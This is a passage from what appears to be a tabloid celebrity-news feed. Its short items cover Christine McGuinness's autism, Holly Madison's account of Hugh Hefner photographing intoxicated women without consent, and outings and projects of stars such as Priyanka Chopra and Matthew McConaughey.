admitted she was struggling to find work as a lawyer due to her responsibilities as a single parent. Pictured with her legal diploma 'A lot of people ask why I'm not using my law degree, but not many law firms like to take on people who only want three days a week,' she said. 'Being a single parent has impacted me quite a lot, but I'm also so blessed and wouldn't have my life any other way.' Last year, Stacey responded to fans who were confused about the source of her income. Professional glamazon! Last year, Stacey responded to fans who were confused about the source of her income The blonde often flaunts her expensive lifestyle on social media. Addressing fans on Instagram in June, Stacey said she earns a living as an influencer. 'I make money from social media, and my collaborations,' she said, adding that she's also 'got investments and stuff like that'. Cha-ching! The blonde often flaunts her expensive lifestyle on social media Strictly The Real Full Monty viewers were full of praise for Christine McGuinness on Tuesday night, as she candidly spoke about her struggles with autism while preparing to strip off on the festive show. The mother-of-three, who recently revealed she is autistic, admitted her condition meant she found it slightly tougher to pick up some of the routines, but eventually joined her co-stars taking to the stage for the empowering show. Christine, who also detailed juggling raising her three autistic children with looking after her mother, who has cancer, was lauded by fans for 'bravely' appearing on the show. Tough: Strictly The Real Full Monty viewers were full of praise for Christine McGuinness on Tuesday night, as she candidly spoke about her struggles with autism During the emotional programme, Christine admitted she was struggling to learn the dance routine, and discussed the challenges she's faced coming to terms with being diagnosed with autism. She said: 'It just chomps away and I'm absolutely petrified of my worry taking over to the point where I go I can't do it, because I want to do it. 'I don't want to now out of my own fears, ruin it for me.' The star confessed she 'didn't want to be the only one who isn't OK,' before being embraced by co-star Colin Jackson. Christine's decision to speak so openly about her condition was lauded by many viewers, especially when she later took to the stage with her fellow celebrities for an inspiring performance. Candid: The mother-of-three, who recently revealed she is autistic, also detailed supporting her mother, who has been battling breast cancer Hard: Christine admitted she was struggling to learn the dance routine, and discussed the challenges she's faced coming to terms with being diagnosed with autism One wrote: 'I really hope Christine comes out and smashes it! She deserves to make herself fell proud for doing something so brave. She should be proud regardless.' Another added: 'Christine is such a brave inspiration I love her so much. You got this queen.' A third added: 'I feel seen. You've been seen, Christine. We see you.' One fan praised: 'My heart's breaking at Christine on #StrictlyTheRealFullmonty. This is me, my life. Try so hard to get over this autism and just can't. It hits so hard. As I go through my own diagnosis it's so real. Will watch her doc with @PaddyMcGuinness. I'd avoided it, but I think I need to.' A fan also praised: 'Autism on the whole is hugely lacking representation, but to see someone who, on the surface, doesn't typically appear autistic, speak openly about their experiences, is extremely inspiring and refreshing. Thank you Christine.' Open: The star confessed she 'didn't want to be the only one who isn't OK,' before being embraced by co-star Colin Jackson Proud: Christine's decision to speak so openly about her condition was lauded by many viewers Despite her initial fears, Christine eventually joined stars including Demi Jones, James and Ola Jordan, Coleen Nolan and Laila Morse taking to the stage for a festive dance routine, which ended with the entire lineup baring all for a live audience. Back in April Christine revealed her mother had completed six months of chemotherapy and radiotherapy treatment after being diagnosed with breast cancer. Taking to Instagram and posting a snap of her cuddling her beloved parent, she penned the following note for her followers: 'Ma. 'Always remember you are braver than you believe, stronger than you seem, smarter than you think and loved more than you know.' Stripping off: Despite her initial fears, Christine joined stars including Demi Jones, James and Ola Jordan, Coleen Nolan and Laila Morse taking to the stage for a festive routine 'So many of you ask about my mum, she is doing amazingly well, I'm so proud of her. Chemotherapy and radiotherapy is all done now its time for her to enjoy life!' Christine had revealed in her autobiography, Christine McGuinness: A Beautiful Nightmare, that she had been diagnosed with autism. Christine and husband Paddy have three children, eight year-old twins Leo and Penelope, and five year-old Felicity, who have all been diagnosed with autism. Open: Christine had revealed in her autobiography, Christine McGuinness: A Beautiful Nightmare, that she had been diagnosed with autism In an extract seen by The Mirror, Christine wrote: 'I have been confirmed as autistic. It's strange, but I've noticed there are little hints throughout my life that I'm autistic and more like my children than I ever could have imagined. 'My issues with food, my social struggles, how hard I find it to make friends and stay focused, and my indecisiveness. The way I float through life reminds me of how my eldest daughter Penelope is.' The model explained that she was diagnosed in August after she and Paddy, 48, were invited to meet Sir Simon Baron-Cohen who is the director of Cambridge University's Autism Research Centre. The couple both filled out an AQ Questionnaire which is designed to measure the expression of Autism-Spectrum traits in a person. And while an average neurotypical person would score about 15, which Paddy did, hers was 36. Amelia Hamlin greeted her followers 'Aloha' from paradise on Tuesday with some sizzling snaps in a thong bikini. The 20-year-old model took to Instagram to share snippets of her dreamy Hawaiian vacation and said she was 'sooo grateful 4 this time 2 slow down.' The former girlfriend of Scott Disick continued to show him what he was missing as she posed up a storm in her black swimsuit while taking a dip in the ocean. Maui morning: The 20-year-old model greeted her followers 'Aloha' by sharing some sizzling snaps in a thong bikini during a picturesque Hawaiian vacation on Tuesday Amelia put on a busty display in a stringy top and high rise thong after touching down in Hawaii. She strolled around the resort grounds in jean shorts and sunglasses before stripping down to take a dip in the ocean. For an island flare she put two small braids by her face and was seen sticking her tongue out in one snap, before striking another sensual pose. The New York based model had remarked earlier that she was 'feelin really lucky this morning' as she showed off a scenic ocean view. 'Aloha': The former girlfriend of Scott Disick strolled around the resort grounds in jean shorts and sunglasses before stripping down to take a dip in the ocean Feeling lucky: The New York based model had remarked earlier that she was 'feelin really lucky this morning' as she showed off a scenic ocean view She had moved to the east coast full time just a few short weeks ago, but had flown back to her native Los Angeles before making the jump to Hawaii. Though it was unclear who she was on vacation with, it did not appear to be her family as currently her Real Housewives mom Lisa Rinna is battling a breakthrough case of COVID-19. Rinna alongside fellow Beverly Hills castmates Erika Girardi and Garcelle Beauvais recently tested positive, which caused production on the hit Bravo series to shutdown. Grateful: Amelia stuck her tongue out in one snap, before striking another sensual pose where she remarked that she was 'soooo grateful 4 this time 2 slow down' Amelia's dad Harry Hamlin recently shared that his daughter was 'doing great' and coyly remarked that he was 'glad' she was no longer dating Disick. 'Amelia's doing great, she's living in New York, and she's having the time of her life solo,' the LA Law actor told Andy Cohen. 'I have no idea what exactly happened there, I'm just glad that she is solo, put it that way,' he said. She had been dating the 38-year-old Keeping Up With The Kardashians star for nearly a year before she ended things with him in September shortly after those explosive leaked DMs about his ex-partner Kourtney Kardashian. Following the split she seemed to move to NYC for a fresh start as she continues to focus on growing her modeling career. Tammin Sursok had an emotional reunion with her parents on Tuesday, after spending more than two and a half years apart due to Covid-19 restrictions. The former Home and Away star, 38, broke down in tears when she met her parents, Julie and Daryl Sursok, in Queensland after they drove up from NSW after the border restrictions eased. Tammin shared a heartwarming video on Instagram of herself hugging her mum and dad for the first time since 2019, and captioned it: 'I'm never letting them go.' Tears of joy: Tammin Sursok had an emotional reunion with her parents on Tuesday, after spending more than two and a half years apart due to Covid-19 restrictions Queensland's closed border finally opened on Monday. 'After two and a half years, I'm finally with my family again,' Tammin said. 'We couldn't come into Australia for almost two years and then when we did, there was a surge and the borders closed the second day we arrived in hotel quarantine.' Emotional: Tammin shared a heartwarming video on Instagram of herself hugging her parents for the first time since 2019, and captioned it: 'I'm never letting them go' Tammin said her 'heart is with' any other person who is separated from their family. 'We were in the same state for six hours but were not able to see each other. The borders opened two days ago and my parents drove 10 hours to meet us. I'm never letting them go. If you are in this situation my heart is with you,' she wrote. The South African-born actress returned to Australia earlier this year with her husband, Sean McEwen, 47, and their daughters, Phoenix, eight, and Lennon, two. The couple had spent the past decade living in Los Angeles. Homecoming: The South African-born actress returned to Australia earlier this year with her husband, Sean McEwen, 47, and their daughters, Phoenix, eight, and Lennon, two In August, Tammin spoke to Daily Mail Australia about Sean's battle with Covid-19, saying she didn't know if he would survive or not. Tammin said seeing her husband so sick was 'one of the worst experiences I've been through' and admitted she 'didn't know if he was going to pull through'. 'Day eight to ten was so difficult. He had a fever that was so high it didn't break for two and a half weeks,' she said. 'It took him months to recover,' she added. 'He had hallucinations. It was such a hard thing to navigate and we're really grateful that's he's okay.' Holly Madison has detailed her 'traumatic' first night with Hugh Hefner at the Playboy Mansion and how he snapped 'sexually explicit' images of intoxicated women. During an appearance on the Power: Hugh Hefner podcast on Monday, the model and reality star, 41, who dated the late Playboy founder from 2001 to 2008, spoke in detail about her time living at the Playboy Mansion. The Oregon-born beauty said on the podcast that she initially had hoped to be invited to move into the Playboy Mansion and 'didn't really know what went on with them sexually', yet he was then 'pushed on top' of her. She said: 'I knew there must be something and I was prepared for that. I wasn't prepared for what would eventually happen.' The latest: Holly Madison, 41, opened up about her 'traumatic' first night with Hugh Hefner at the Playboy Mansion, and how he snapped 'sexually explicit' images of intoxicated women, in an appearance on the Power: Hugh Hefner podcast Monday The Girls Next Door alum said that after an evening at a club, she and Hefner - who died at the age of 91 in 2017 - went back to the mansion with a group of women. She said: 'I wasn't necessarily expecting to have sex that night, I thought it would be more of a first date - even though obviously it's not a very traditional first date... 'I thought it would be more the type of thing where I saw what happened, saw what was going on. 'If I wasn't comfortable with it, I wouldn't have to do anything and I could make my decision on whether I wanted to come back for date number two or not.' Madison said she 'definitely was not expecting to be the first one to go that night but was wasted' when she and Hefner had sex, which she described as a 'traumatic experience.' Said Madison: 'He was literally pushed on top of me. And after it happened, I was just mortified and embarrassed and it had way more of an emotional impact on me than I thought it would.' Madison dated the late Playboy founder from 2001 to 2008; they were snapped at the Playboy Mansion in May of 2008 Madison and Hefner were snapped at an event in Las Vegas in September of 2003 Madison said her initial perception of Hefner was that she had 'always admired' him and that 'he was really smart,' but that she was 'horrified' that their sex life was evident to all others at the mansion. 'It wasn't that the idea of possibly having sex with him repelled me so much - I know that's not relatable to a lot of people because they're like, "Oh he's an old man, gross,"' she told the podcast. 'It was more the group aspect that was really out of my comfort zone and just the feeling of "Wow, okay, that happened. Everybody knows it happened." 'I kind of all of a sudden felt like everybody was going to know about me, and I was horrified by it.' Madison and Hefner were pictured at an event in 2006 Madison was seen in July of 2019 leaving a Whole Foods in LA Madison said that the following day, she asked Hefner if she could move into the mansion as she 'felt like, "There's no taking that back so I might as well get what I came for."' Madison said that moving into the mansion felt like she was getting 'respect in a way,' and that if she didn't, she would have just been 'haunted by this experience.' In the interview, Madison said that Hefner frequently snapped 'sexually explicit' images of intoxicated women without their consent. 'When girls would go out with Hef, in the limo, in the nightclub and come back to his room after, he was constantly taking photos of these women on his disposable camera,' she said on the podcast. 'And these women were almost always intoxicated. I know I was, heavily intoxicated.' Madison said the women she's talking about weren't 'his regular girlfriends,' but rather 'new girls who were joining him for a night for the first time, or women who had flown out from across the country to test for a centerfold in allegedly professional conditions.' She said the women would 'be invited out and oftentimes would be pressured, not necessarily directly by him, he would have some of his girlfriends do it too, pressure them to come upstairs.' Hefner would subsequently copy the images and 'hand them out to everyone who had gone out that night,' Madison said. 'So if you were messed up and if you were in his bathtub with your top off and some other girl is doing some sexually explicit pose on you and he took a picture of that on his disposable camera, he'd make a copy and give it to everyone that night and put it in a scrapbook.' Madison likened the practice to revenge porn, saying the photos were 'not consensual' because the women in the photos were 'wasted' at the time they were taken. 'I don't know if he just assumed that was okay because all these women want to be in the magazine so bad so they must be okay with getting naked,' Madison said, 'so I'm going to take pictures while they're wasted and just hand those pictures out.' Madison, seen last year in Las Vegas, said she was relieved that the behavior she's talking about 'would never be accepted today' Madison said that she confronted Hefner about the images about a year later when some were posted online. 'I went to Hef and said, "Can you stop handing out our naked pictures to everybody, because one of the girls is putting it on the internet,"' Madison said. 'I was kind of afraid to speak up to him but that was the extreme measure it took for me to say to him, "Hey, can you stop handing these photos out.''' She said that Hefner went to the woman who posted them and told her 'Holly narced you out,' which led to a confrontation between the women, which Hefner 'loved.' Madison said she was relieved that the behavior 'would never be accepted today,' and that she is 'grateful people are more aware and they know what revenge porn is and they know a little bit more about what consent is.' Molly Sims braved the Los Angeles rain on Tuesday in a black crop top, leggings and a colorful jacket. The 48-year-old actress playfully jumped over a puddle in her high-waisted bottoms, which had a black palm tree decal displayed throughout. The mom-of-three made the best of the rare rainy day as she covered her blonde locks with the hood of her outerwear. Splish splash! Molly Sims braved the Los Angeles rain on Tuesday in a black crop top, leggings and a colorful jacket The former runway star looked stylish in a puffy navy coat that featured multicolor panels on the front. She showed off her svelte figure and a bit of her midriff in a black crop top underneath. Molly left the jacket unzipped but fastened one button, and was seen holding it shut at one point. Rounding out the casual look was a pair of black sneakers, which helped her land her jump skillfully. Braving the elements: The mom-of-three made the best of the rare rainy day as she covered her blonde locks with the hood of her outerwear Nailed it: The 48-year-old actress was seen playfully leaping over a puddle in her high-waisted bottoms, which had a black palm tree decal displayed throughout The supermodel carried a white face mask in her hand and was seen solo during the outing. She had on a gold necklace with a large heart-shaped drop pendant. The Lipstick on the Rim podcaster faced the elements with grace as bits of her hair became wet as she ran an errand. All by herself: The supermodel carried a white face mask in her hand and was seen solo during the outing Getting wet: The Lipstick on the Rim podcaster faced the elements with grace as bits of her hair became wet as she ran an errand Also on Tuesday, the entrepreneur took to Instagram to share outtakes from her husband Scott Stuber's 50th birthday celebration. The bombshell took to the app's Stories feature to post the family-of-five's special dinner honoring the patriarch. Molly enlisted a private chef for a festive meal and wrote over one of the videos, 'Scott is very happy.' She also shared the film producer's unique cake, noting, 'Birthday cake tradition... put all the kids favorites [cartoon characters] on a bday cake for Scott.' Sweet: Also on Tuesday, the entrepreneur took to Instagram to share outtakes from her husband Scott Stuber's 50th birthday celebration Sims and Stuber married in 2011 in a wedding ceremony in Napa County, California and went on to welcome their first child, son Brooks, in 2012. They expanded their family with the addition of their daughter Scarlett in 2015. The two later welcomed their third child, another son, Grey, in 2017. Prior to becoming involved with Molly, the Netflix executive was married to actress Rachel Nichols, whom he divorced in 2009. Vicky McClure has revealed she's embraced playing masculine parts, after comparisons between her Line Of Duty character Kate Fleming and her role in her new ITV drama Trigger Point. The actress, said she's 'fallen into' playing similar parts because it's the 'kind of roles she loves,' after taking on the role of bomb squad operative Lana Washington in the high-octane drama. Vicky is set to play the bomb disposal expert in Jed Mercurio's latest series, which sees London threatened by a terrorist campaign, with the operatives at the centre of discovering who is behind the bombings. Eye-catching: Vicky McClure has revealed she's embraced playing masculine parts, after comparisons between her Line Of Duty character and her role in Trigger Point (pictured) Speaking to The Sun, Vicky said it's no coincidence that her latest role is eerily similar to her iconic part as DI Fleming in Line Of Duty, which sees her involved in dramatic confrontations with 'bent coppers.' She said: 'That's the kind of roles I love. I've sort of fallen into this genre. If I read a script, I often want to play the male's role because that is the strong, committed role. 'I can't worry about taking roles that might feel like they're in a similar vein.' Open: The actress, said she's 'fallen into' playing similar parts because it's the 'kind of roles she loves' (pictured as DI Kate Fleming on Line Of Duty) Vicky added that she'd never be able to take on a real-life job as a bomb squad operative, adding: 'What I am is very nosy, though, so in terms of interrogation and asking questions and getting to the truth, I think Id be alright at that.' The six-part thriller series has been commissioned for ITV by Head of Drama, Polly Hill, who will oversee production from the channel's perspective. Jed, who brought in some of the BBC's highest ratings in 2021 with his sixth series of Line Of Duty, is yet to confirm whether the show would return for a seventh instalment. Tense: Vicky added that she'd never be able to take on a real-life job as a bomb squad operative, after playing the part in Jed Mercurio's latest series However, he previously hinted that there is 'clearly potential' for a further plot about Owen Teale's character, Philip Osborne. While Jed is unsure if it will be the last-ever season, he confirmed it is possible he could further explore the Chief Constable (Owen, 60) in a future storyline. When asked if series six could be considered 'a finale, or a clearing-out of the past' ahead of a fresh start, he replied to Den Of Geek: 'I'd say it's too soon. It's too soon to draw that conclusion. It could be either of those, or it could be something different.' Pryanka Chopra Jonas dined at Indian restaurant SONA in Manhattan's Gramercy neighborhood on Tuesday where she's served as 'muse' and 'creative consultant' since March. The Indian 39-year-old wore a sparkly green knit top, argyle pencil skirt, and black pumps beneath a matching maxi-blazer. Hours earlier, Pryanka donned a pink faux fur coat while carrying her pet pup in Midtown Manhattan. Holiday party! Pryanka Chopra Jonas dined at Indian restaurant SONA in Manhattan's Gramercy neighborhood on Tuesday where she's served as 'muse' and 'creative consultant' since March Emerald: The Indian 39-year-old wore a sparkly green knit top, argyle pencil skirt, and black pumps beneath a matching maxi-blazer Chopra made sure to put a puffer coat on her five-year-old dog Diana Chopra Jonas to protect her from the 50F-degree winter weather. The Max Factor brand ambassador sported white baggy sweats beneath her fuzzy outerwear along with matching sneakers. Priyanka was joined on the Big Apple streets by a masked bodyguard following close behind her. Chopra had already removed the wavy waist-length extensions fastened and coiffed by hairstylist Danielle Priano earlier that day. Mother and child: Hours earlier, Pryanka donned a pink faux fur coat while carrying her pet pup in Midtown Manhattan Fur baby: Chopra made sure to put a puffer coat on her five-year-old dog Diana Chopra Jonas to protect her from the 50F-degree winter weather End of the night: The Max Factor brand ambassador sported white baggy sweats beneath her fuzzy outerwear along with matching sneakers Hired help: Priyanka was joined on the Big Apple streets by a masked bodyguard following close behind her The Spaceman video vixen had previously been wearing a cleavage-boosting 'glitchy' snakeskin dress and white pumps selected by 'image architect' Law Roach. And make-up artist Yumi Mori brought out Priyanka's big brows and pink pout for her second day of promoting The Matrix Resurrections. Chopra portrays the grown-up Sati in Lana Wachowski's highly-anticipated four-quel, which hits US/UK theaters and streams on HBO Max starting December 22. The former Miss World 2000 virtually reunited with her Matrix Resurrections castmates Jada Pinkett-Smith, Keanu Reeves, and Carrie-Anne Moss for Red Table Talk, which streams this Wednesday on Facebook Watch. Mermaid! Chopra had already removed the wavy waist-length extensions fastened and coiffed by hairstylist Danielle Priano earlier that day 'I think this dress is a little glitchy': The Spaceman video vixen had previously been wearing a cleavage-boosting snakeskin dress and white pumps selected by 'image architect' Law Roach '#Day2': And make-up artist Yumi Mori brought out Priyanka's big brows and pink pout for her second day of promoting The Matrix Resurrections 'I think that The Matrix trilogy changed cinema. And I remember when the first Matrix came out so clearly. I was 16. I remember how it shifted culture, in terms of the questions and themes it treaded upon in terms of consciousness and reality,' Priyanka said via Zoom in a sneak-peek. 'When I got the call from my agent, I remember I was in India filming something. And they were like, "Lana wants to meet you tomorrow in San Francisco." I drove to the airport. I was like, sure, of course whatever it takes to have the opportunity to work with all of you lot. It's just such a privilege and an honor. 'And I really had a moment when we were doing that one scene in Berlin. And all of you were standing across from me and I had all of those words. And I remember my hands sweating like, "Oh my gosh!" I told myself, the 16-year-old me who'd never forgive myself if I didn't get my words right in front of all of you.' The exiled program sheltered by The Oracle (Mary Alice) was originally portrayed by Tanveer K. Atwal in the Wachowskis' three-quel The Matrix Revolutions back in 2003. 'Re-enter': Chopra portrays the grown-up Sati in Lana Wachowski's highly-anticipated four-quel, which hits US/UK theaters and streams on HBO Max starting December 22 'I think that The Matrix trilogy changed cinema': The former Miss World 2000 virtually reunited with her Matrix Resurrections castmates Jada Pinkett-Smith, Keanu Reeves, and Carrie-Anne Moss for Red Table Talk, which streams this Wednesday on Facebook Watch Taking over: The exiled program sheltered by The Oracle (R, Mary Alice) was originally portrayed by Tanveer K. Atwal (L) in the Wachowskis' three-quel The Matrix Revolutions back in 2003 Last Saturday, Chopra wrapped her role in Patrick Moran and the Russo Bros. eight-episode spy series Citadel, which premieres next month on Amazon Prime Video. The White Tiger producer-star and her equally busy husband Nick Jonas celebrated their third wedding anniversary on December 1, and they plan on having children within the next six years. 'In 10 years, I definitely want to have kids,' Priyanka told People back in 2018. 'It's a wrap!' Last Saturday, Priyanka wrapped her role in Patrick Moran and the Russo Bros. eight-episode spy series Citadel, which premieres next month on Amazon Prime Video 'I definitely want to have kids': Chopra and her equally busy husband Nick Jonas (L, pictured December 8) celebrated their third wedding anniversary on December 1, and they plan on having children within the next six years 'Two more Jingle Ball shows to go!' The 29-year-old (L) and his two-time Grammy-nominated boyband performed Tuesday night at Hot 99.5's Jingle Ball in Washington, D.C. and this Thursday they'll perform at Power 96.1's Jingle Ball in Atlanta 'That is, it's going to happen in the next 10 years. Well, hopefully earlier than that. I'm very fond of children and I want to be able to do that.' Chopra and her 29-year-old husband originally met in 2017 at an Oscars bash, but they didn't truly connect until the Met Gala in 2018. Nick and his two-time Grammy-nominated boyband are scheduled to perform Tuesday night at Hot 99.5's Jingle Ball in Washington, D.C. and this Thursday at Power 96.1's Jingle Ball in Atlanta. Kendall Jenner was seen out and about on Tuesday, despite the rainy day in Southern California. The reality TV star, 26, wore a grey hoodie topped with a black trench coat and teamed with black pants. There was no sunshine, but the model wore black square-shaped sunglasses that gave the chic look a polished finish. Grey day: Kendall Jenner was seen out and about on Tuesday, despite the rainy day in Southern California Kendall carried a large black bag over her shoulder as she navigated the unusually gloomy day in Los Angeles. The svelte fashionista had on sleek black boots and kept the dark theme going with a glossy black manicure. Her brunette hair was parted down the middle and it spilled out of her hood, which she was seen securing over her head. Stylish no matter the weather: The reality TV star, 26, wore a grey hoodie topped with a black trench coat and teamed with black pants The entrepreneur stepped out by herself and was spotted driving her luxury vehicle as she attended a meeting before gathering with friends. The runway sensation stopped by FRWD office in Beverly Hills before making her way to Jon and Vinny's to enjoy lunch with a friend. The influencer took to Instagram at one point to share her perspective from inside her Lamborghini. In a short and muted video she showcased her windshield wipers swiping raindrops as she parked in front of a flower bush. Shades: There was no sunshine, but the model wore black square-shaped sunglasses that gave the chic look a polished finish Her view: The influencer took to Instagram at one point to share her perspective from inside her Lamborghini The outing comes after it was reported that Jenner's sister Kylie Jenner recently celebrated the anticipated arrival of her second child with a 'low-key' baby shower. According to TMZ the festivity was held at Khloe Kardashian's new Hidden Hills mansion, which is situated next to their mom Kris Jenner's home. Kylie is expecting her second child with rapper Travis Scott, who's currently weathering tremendous backlash after ten fans died at his Astroworld music festival last month. Both the makeup mogul and the music artist have been keeping a low profile in recent weeks, with the exception of Scott's recent sit down interview with Charlamagne Tha God. Ready to be a family of four: The 24-year-old makeup mogul expects her second child with rapper Travis Scott. The two already have daughter Stormi Webster; Seen in June It's unknown when Kylie's and Travis' second child is due and the gender hasn't been revealed either. The billionaire businesswoman announced in August that she was expecting, after dad Caitlyn Jenner hinted another grandchild was on the way. The site shared that the event was small, with only family and a few friends in attendance. Big Sky star Kylie Bunbury and husband Jon-Ryan Alan Riggins announced the arrival of their first child, a son named Rumi Walker, on Monday. Seven days after the birth of their bundle of joy, the 32-year-old actress shared the first snap of their infant as he tenderly wrapped his hand around one of her fingers. 'Rumi Walker Riggins. 12.6.21,' she captioned a picture of her little boy sound asleep in his bassinet. 'The greatest, deepest, most unimaginable love Ive ever known.' First-time mom: Big Sky star Kylie Bunbury and husband Jon-Ryan Alan Riggins announced the arrival of their first child, a son named Rumi Walker, on Monday; seen in 2019 Within 24 hours, the post surpassed 17,000 likes and hundreds of comments from fans, family and her celebrity pals. 'Welcome Gorgeous Rumi, weve been waiting for you!!!' Kelly Ripa wrote under the post, while Lena Waithe and Niecy Nash commented heart-eye emojis. Bunbury first announced she was pregnant with a stunning series of photo shoot on the beach while on vacation. Cutie: One week after the birth of their bundle of joy, the 32-year-old actress shared the first snap of their infant as he tenderly wrapped his hand around one of her fingers Baby bump: Bunbury's last bump picture posted to Instagram was on August 15 'Life is a series of awakenings, this is our greatest one yet,' the actress captioned the post. In the shots, Bunbury donned a long-sleeved creme skirt with earrings and a necklace and her hair pulled back. Riggings was clad in a button-up white top with black pants. Bunbury and Riggins, a designer, exchanged vows on January 1, 2020, in Madeira Island, Portugal. The beauty, who's been seen on Game Night and Under The Dome, announced her engagement to Riggins in April of 2018. Happy news: Bunbury, 32, announced the happy news in June Bunbury opened up to the New York Daily News last November about playing the part of Cassie Dewell, a private investigator located in Montana, on the ABC series. 'What drew me was that (Cassie's) biracial, and so am I, and she's growing up in this small town that is overwhelmingly white and is conservative,' said Bunbury, who grew up between Canada and Minnesota. She said she 'really' understands 'what that feels like, 'the vulnerability in it,' and 'also the strength that comes along.' Beautiful: In the announcement shots, Bunbury donned a long-sleeved creme skirt with earrings and a necklace and her hair pulled back Background: Bunbury and Riggins, a designer, exchanged vows on January 1, 2020, in Madeira Island, Portugal She added of her character: 'With Cassie, you find a lot of instinct. She leads with instinct and has more of a ... not necessarily a stoic disposition, but she's grounded. She's gone through a lot ... and given what she has been through, she's developed certain ways to protect herself.' The David E. Kelley-created series, which was inspired by the 2013 book The Highway, also features Ryan Phillippe, Kathryn Winnick and John Carroll Lynch. Previously, she was in Brave New World, When They See Us, a 2018 episodes of Law & Order: Special Victims Unit and more. Zoey Deutch was pictured in festive Christmas colors as she continued to film the holiday romantic comedy Something From Tiffany's in New York City. On Tuesday the 27-year-old actress shot scenes walking by Bryant Park and inside a bakery alongside fellow castmates Kendrick Sampson and Morgan Lennon. The Amazon original movie is an adaptation of Melissa Hills novel of the same name and is the first full studio feature from Reese Witherspoon's production company Hello Sunshine. Busy on set: Zoey Deutch was pictured shooting scenes by Bryant Park and inside a bakery as she continued to film the holiday romcom Something From Tiffany's on Tuesday The Before I Fall star was pictured having an animated chat on the phone, while carrying three pastry boxes stacked on top of each other. She wore a pair of green plaid dress pants with a burgundy turtleneck and matching scarf as she strolled past the park's subway stop. Zoey's wardrobe also included a stylish winter coat and a coordinating burgundy purse as well as black dress shoes. Her on-camera look was rounded out with a red lip for an additional pop of holiday color and her dark locks were back in a messy ponytail. Causing a commotion: The production was filming on the bustling NYC sidewalk which captured the attention of bystanders On the go: The Before I Fall actress had an animated phone conversation in scene while strolling with three pastry boxes First spotting: Insecure actor Kendrick Sampson, 33, was announced to have joined the cast on Tuesday though he had been pictured on set for the first time on Monday December 13 At one point her character appeared a bit frazzled as she entered into a bakery and waited near a register with shelves of bread in the background. Also pictured shooting were Sampson who did walk-ups in a stylish camel coat with olive slacks, as well as Lennon who looked to work inside the shop. The production seemed to transform the space into a fictitious shop called Gillini which was pictured on a crew neck and tablet register. As both Zoey and newcomer Morgan have a bit of a similar look, the Insecure actor reportedly mistook one for the other on set which caused laughter. Pitstop: Deutch then entered into a bakery as shelves of bread were pictured behind her in the background as well as a chalkboard menu with drinks Look-alike: Actress Morgan Lennon (pictured) does bear a striking resemblance to Deutch and reportedly caused Sampson to confuse them Movie magic: The bakery looked to have been taken over by the production and fictitiously re-named Gillini as pictured on a smart register Deutch stars in the holiday film which loosely chronicles how a simple bag mix-up can upend a few lives. During the holidays two men accidentally switch bags after shopping at Tiffany's for their respective partners, with one having purchased an engagement ring and the other buying a charm bracelet which causes their lives to become intertwined. On Tuesday Deadline announced Sampson's casting as well as three more people: Jack Nicholson's son Ray Nicholson, Shay Mitchell and Leah Jeffries. With the exception of Nicholson, the others had been spotted on set starting Monday December 13. The movie will air exclusively on Prime Video in more than 240 countries though no release date has been provided at this time. Film plot: During the holidays two men accidentally switch bags after shopping at Tiffany's for their respective partners, with one having purchased an engagement ring and the other buying a charm bracelet which causes their lives to become intertwined Oscar winner Matthew McConaughey and his wife of nine years - Women of Today founder Camila Alves - emerged from NBC studios at 30 Rockefeller Plaza in Midtown Manhattan on Tuesday night. The 52-year-old Texan had just made his ninth appearance on The Tonight Show Starring Jimmy Fallon alongside Licorice Pizza star Alana Haim and musical guest Niko Moon. Matthew slipped his slim 6ft frame into a green silk suit over a white unbuttoned shirt, matching pocket square, and b&w loafers selected by stylist Tara Swennen. Making the rounds: Oscar winner Matthew McConaughey and his wife of nine years - Women of Today founder Camila Alves - emerged from NBC studios at 30 Rockefeller Plaza in Midtown Manhattan on Tuesday night The Brazilian 39-year-old wore a grey plaid shirt-dress beneath a darker grey blazer, black knit cap, matching pants and spike-heeled boots. McConaughey originally met Alves - then a housekeeper-turned-model - at Hollywood hotspot Hyde back in 2006. After Christmas, the inseparable couple will celebrate the ninth birthday of their son Livingston on December 28 followed by the 12th birthday of their daughter Vida on January 3. And the We're Texas fundraisers' eldest child is 13-year-old son Levi. 'Tonight!' The 52-year-old Texan had just made his ninth appearance on The Tonight Show Starring Jimmy Fallon alongside Licorice Pizza star Alana Haim and musical guest Niko Moon Emerald: Matthew slipped his slim 6ft frame into a green silk suit over a white unbuttoned shirt, matching pocket square, and b&w loafers selected by stylist Tara Swennen Supportive: The Brazilian 39-year-old wore a grey plaid shirt-dress beneath a darker grey blazer as she exited the studio with her husband On the town: She was spotted earlier in the day on a solo trip in Manhattan's Tribeca neighborhood. She covered her dark hair with a black knit cap and wore large glasses Standing tall: The model towered in black spike heel boots, which matched her black slacks, and she carried her phone in a white harness Matthew has been hard at work promoting his role as the koala and Moon Theater owner Buster Moon in Garth Jennings' star-studded animated sequel to Sing, which hits US theaters December 22 and UK theaters January 28. 'I've got more street cred at the dinner table now,' McConaughey told ET of his three children. 'With a lot of animated films, the kids drag us to them. But if you get one that I want to go to, that my mother and my grandmother also want to go to then you've got something for the whole family. Which is what we have in this.' The jukebox musical comedy - featuring Reese Witherspoon, Scarlett Johansson, Bono, and Halsey - currently has a 63% critic approval rating (out of 16 movie reviews) on Rotten Tomatoes. Still going strong! McConaughey originally met Alves (L, pictured Sunday) - then a housekeeper-turned-model - at Hollywood hotspot Hyde back in 2006 'Family affair!' After Christmas, the inseparable couple will celebrate the ninth birthday of their son Livingston (M) on December 28 followed by the 12th birthday of their daughter Vida (L) on January 3 She's set to star in a host of films in the new year, including Butterfly in the Typewriter with Cary Elwes, The 355 with Lupita Nyong'o and Jessica Chastain, and Joika with Talia Ryder. And Diane Kruger simply stunned wearing a gorgeous floral print crop top with a matching skirt at the MoMA Film Benefit: Honoring Penelope Cruz on Tuesday night in Manhattan. The 45-year-old actress flashed a hint of midriff in the satin set where she was on hand to support the Academy Award-winning star, with proceeds from the soiree benefitting the Black Family Film Center of The Museum of Modern Arts Department of Film. Stunning: Diane Kruger simply stunned wearing a gorgeous floral print crop top with a matching skirt at the MoMA Film Benefit: Honoring Penelope Cruz on Tuesday night in Manhattan Her unique, sleeveless blouse featured a prominent collar and was structured with a hem just below her chest. She wore a gorgeous matching white skirt with dramatic pleats and black strappy shoes to match a black clutch. Diane's platinum blonde hair was parted to the side and pulled back into a tight ponytail and she wore a pale pink lipstick. In its 14th year, 'the MoMA Film Benefit raises money for the acquisition and preservation of key film works, and provides funding to support the Museums groundbreaking film exhibitions,' according to the museum. 'Penelope Cruzs range of character portrayals in English and Spanish has received critical praise throughout her career, and were thrilled to feature her highly anticipated project Parallel Mothers.' Beautiful: The 45-year-old actress flashed a hint of midriff in the satin set where she was on hand to support the Academy Award-winning star, with proceeds from the soiree benefitting the 